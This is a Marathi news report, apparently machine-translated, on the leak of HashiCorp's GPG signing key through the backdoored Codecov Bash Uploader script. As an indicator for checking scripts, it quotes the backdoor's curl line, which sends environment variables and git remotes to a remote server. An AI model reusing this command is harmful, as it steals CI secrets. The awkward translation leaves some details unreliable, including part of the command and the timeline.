कोडकोव्ह स्क्रिप्टमध्ये दुर्भावनापूर्ण कोडचा परिचय करून दिल्याने HashiCorp PGP कीची तडजोड झाली

HashiCorp, Vagrant, Packer, Nomad आणि Terraform ही ओपन सोर्स टूल्स विकसित करण्यासाठी ओळखल्या जाणार्‍या, रिलीझची पडताळणी करणार्‍या डिजिटल स्वाक्षरी तयार करण्यासाठी वापरल्या जाणार्‍या खाजगी GPG की लीक झाल्याची घोषणा केली. GPG की मध्ये प्रवेश मिळवणारे हल्लेखोर योग्य डिजिटल स्वाक्षरीने सत्यापित करून HashiCorp उत्पादनांमध्ये छुपे बदल करू शकतात. त्याच वेळी, कंपनीने सांगितले की लेखापरीक्षणादरम्यान, अशा प्रकारचे फेरबदल करण्याच्या प्रयत्नांचे कोणतेही खुणा आढळून आले नाहीत.

सध्या, तडजोड केलेली GPG की रद्द करण्यात आली आहे आणि तिच्या जागी एक नवीन की आणली गेली आहे. समस्येमुळे फक्त SHA256SUM आणि SHA256SUM.sig फायली वापरून पडताळणी प्रभावित झाली, आणि Linux DEB आणि RPM पॅकेजेससाठी डिजिटल स्वाक्षरी तयार करण्यावर परिणाम झाला नाही, जो releases.hashicorp.com द्वारे पुरवले गेले, तसेच macOS आणि Windows (AuthentiCode) साठी रिलीझ सत्यापन यंत्रणा. .

इन्फ्रास्ट्रक्चरमध्ये Codecov Bash Uploader (codecov-bash) स्क्रिप्टचा वापर केल्यामुळे ही गळती झाली, जी सतत एकीकरण प्रणालींमधून कव्हरेज अहवाल डाउनलोड करण्यासाठी डिझाइन केलेली आहे. कोडकोव्ह कंपनीवरील हल्ल्यादरम्यान, निर्दिष्ट स्क्रिप्टमध्ये एक मागील दरवाजा लपविला गेला होता, ज्याद्वारे आक्रमणकर्त्यांच्या सर्व्हरवर पासवर्ड आणि एन्क्रिप्शन की पाठवल्या गेल्या होत्या.

हॅक करण्यासाठी, आक्रमणकर्त्यांनी Codecov डॉकर प्रतिमा तयार करण्याच्या प्रक्रियेतील त्रुटीचा फायदा घेतला, ज्यामुळे त्यांना GCS (Google क्लाउड स्टोरेज) मध्ये प्रवेश डेटा काढता आला, codecov.io वरून वितरित बॅश अपलोडर स्क्रिप्टमध्ये बदल करणे आवश्यक आहे. संकेतस्थळ. हे बदल 31 जानेवारी रोजी परत केले गेले, दोन महिने ते शोधले गेले नाहीत आणि आक्रमणकर्त्यांना ग्राहक सतत एकत्रीकरण प्रणाली वातावरणात संग्रहित माहिती काढण्याची परवानगी दिली. जोडलेले दुर्भावनायुक्त कोड वापरून, आक्रमणकर्ते चाचणी केलेल्या Git रिपॉझिटरी आणि ऍप्लिकेशन कोड, रिपॉझिटरीज आणि Amazon Web Services आणि GitHub सारख्या सेवांमध्ये प्रवेश व्यवस्थापित करण्यासाठी टोकन्स, एन्क्रिप्शन की आणि पासवर्डसह सतत इंटिग्रेशन सिस्टीममध्ये प्रसारित केलेल्या सर्व पर्यावरणीय चलांविषयी माहिती मिळवू शकतात.

डायरेक्ट कॉल व्यतिरिक्त, Codecov Bash अपलोडर स्क्रिप्टचा वापर इतर अपलोडरचा भाग म्हणून केला गेला, जसे की Codecov-action (Github), Codecov-circleci-orb आणि Codecov-bitrise-step, ज्यांचे वापरकर्ते देखील समस्येमुळे प्रभावित झाले आहेत. codecov-bash आणि संबंधित उत्पादनांच्या सर्व वापरकर्त्यांना त्यांच्या पायाभूत सुविधांचे ऑडिट करण्याची तसेच पासवर्ड आणि एन्क्रिप्शन की बदलण्याची शिफारस केली जाते. तुम्ही कर्ल -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:// या ओळीच्या उपस्थितीद्वारे स्क्रिप्टमध्ये मागील दरवाजाची उपस्थिती तपासू शकता. /upload/v2 || खरे

स्त्रोत: opennet.ru